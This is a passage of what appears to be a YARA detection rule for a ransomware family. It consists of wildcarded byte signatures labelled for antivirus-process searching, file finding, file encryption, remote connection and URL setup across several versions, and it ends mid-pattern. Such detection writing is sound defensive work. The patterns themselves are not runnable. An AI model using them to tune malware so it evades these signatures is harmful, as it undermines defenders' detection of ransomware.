?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 6A ?? FF 15 ?? + ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? + ?? FF D6 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 8B D0 E8 ?? ?? ?? ?? 6A ?? FF 15 + ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? + ?? FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 + 68 ?? ?? ?? ?? FF D6 E8 ?? ?? ?? ?? E8 + } + $search_antivirus_processes_v4 = { + 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? FF D6 8B 5D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 03 C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? FF D6 8B F8 89 7D ?? 85 FF 74 ?? 6A ?? 6A ?? C7 07 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E + 33 C0 5B 8B E5 5D C2 ?? ?? 33 C9 33 F6 57 50 89 4D ?? 89 4D ?? 89 4D ?? 89 75 ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 49 ?? 85 F6 0F 85 ?? ?? ?? ?? 83 C7 ?? EB + ?? 8D 49 ?? 57 FF 74 B5 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 46 83 FE ?? 72 ?? 8B 75 ?? + EB ?? 83 7D ?? ?? 57 FF 33 C7 45 ?? ?? ?? ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 33 FF 15 ?? ?? ?? ?? EB ?? 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 33 FF D6 + FF 45 ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 75 ?? 8D 0C 41 B8 ?? ?? ?? ?? 81 F9 ?? ?? + ?? ?? 89 4D ?? 0F 47 F0 89 75 ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? + FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 03 66 83 38 ?? 74 + ?? 50 FF 15 ?? ?? ?? ?? 8B 0B 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 8B 35 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 85 FF 75 + ?? 68 ?? ?? ?? ?? 57 FF 33 FF D6 8B C7 5F 5E 5B 8B E5 5D C2 + } + $find_files_v4 = { + C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 0F 84 ?? ?? ?? + ?? 8D 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 89 44 24 + ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 + 46 89 44 24 ?? FF D7 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 + ?? 66 89 11 83 F8 ?? 75 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B + E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF D7 F6 + 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 + FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 83 + C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E + 33 C0 5B 8B E5 5D C3 + } + $crypt_files_v4 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 33 DB 89 4D ?? 68 ?? ?? ?? + ?? 53 8B F2 89 5D ?? FF 15 ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B + 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? + 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 88 5D ?? 48 75 ?? 8B 45 ?? 89 85 ?? + ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B + 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 68 + ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 5D ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 6A ?? C7 05 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? FF D3 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 89 45 ?? FF D3 33 C9 8B D8 89 4D ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 3D + ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 42 CA 01 87 ?? ?? ?? ?? 8B 55 ?? 83 97 ?? ?? ?? ?? ?? + 8B 7D ?? 89 4D ?? 8D 8D ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B C7 F7 D8 99 6A + ?? 6A ?? 52 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 + 57 53 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 + 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 8B 7D ?? 85 C9 0F 84 ?? ?? ?? ?? 6A ?? + 8D 45 ?? 50 68 ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? 89 + 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? + ?? 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 + } + $crypt_files_v3 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 + ?? ?? ?? ?? ?? 50 6A ?? 8B D9 8B CA 6A ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 8B F8 C7 45 ?? ?? ?? ?? ?? 53 57 89 7D ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? + ?? ?? 66 0F 6F 05 ?? ?? ?? ?? BA ?? ?? ?? ?? F3 0F 7F 85 ?? ?? ?? ?? 51 66 0F 6F 05 + ?? ?? ?? ?? 8D 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 66 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 + ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 F3 0F 6F 85 ?? ?? ?? ?? 8B F8 6A ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? F3 0F 7F 07 6A ?? F3 0F 6F 45 ?? 89 7D ?? F3 0F 7F 47 ?? FF D6 + F3 0F 6F 45 ?? 68 ?? ?? ?? ?? 89 45 ?? F3 0F 7F 00 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 + 57 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 68 ?? + ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? + ?? 6A ?? FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 0F 57 C0 66 0F 13 45 ?? + 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 6A ?? 8B D8 + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF D6 8B + 3D ?? ?? ?? ?? 33 F6 33 C9 89 45 ?? 89 4D ?? EB ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 68 ?? + ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 + ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 0F 42 F1 01 03 83 53 ?? ?? 8B 45 ?? 89 45 ?? 89 45 ?? A8 ?? 74 ?? 8B FF 40 A8 ?? 75 + ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 45 ?? FF 75 + ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 45 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 45 ?? + F7 D9 6A ?? 83 D0 ?? 6A ?? F7 D8 50 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 + ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 + ?? BE ?? ?? ?? ?? 89 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 85 F6 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 75 ?? 85 C9 75 ?? 51 8D 45 ?? 50 + 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 + ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? + ?? ?? ?? 8B 03 8B 73 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF D7 68 ?? ?? ?? ?? 6A ?? + FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? FF + 75 ?? FF D7 5F 8B D6 8B C3 5E 5B 8B E5 5D C3 + } + $search_antivirus_processes_v5 = { + 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF + D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB ?? 56 33 C9 89 + 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F + 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D 58 ?? 8D 46 ?? + 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 37 FF 15 + ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D 0C 41 8B 45 ?? + 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 33 C9 66 39 08 + 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 68 ?? + ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 85 DB 75 ?? + 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 + } + $find_files_v5 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 + 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 + ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? + 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 + 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF + ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF + 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? + 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? + ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE + E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? + ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $crypt_files_v5 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? + ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? FF 75 + ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? EB ?? + 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB + ?? 75 ?? 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? + ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 + ?? ?? ?? ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 21 7D ?? 21 7D ?? 41 89 45 ?? + 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? + 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A + ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? + 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 + C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 + ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? + 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 + ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D + ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? + ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? + E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? + 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? + ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? + ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 + ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF + 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B + 8B E5 5D C3 + } + $remote_connection_v5 = { + 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 + 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? + ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 + ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF + 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF + 15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B + E5 5D C2 + } + $remote_connection_v5_0_1 = { + 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 + 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? + ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 + ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF + 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45 + F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 + } + $url_parameters_setup_v5 = { + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 15 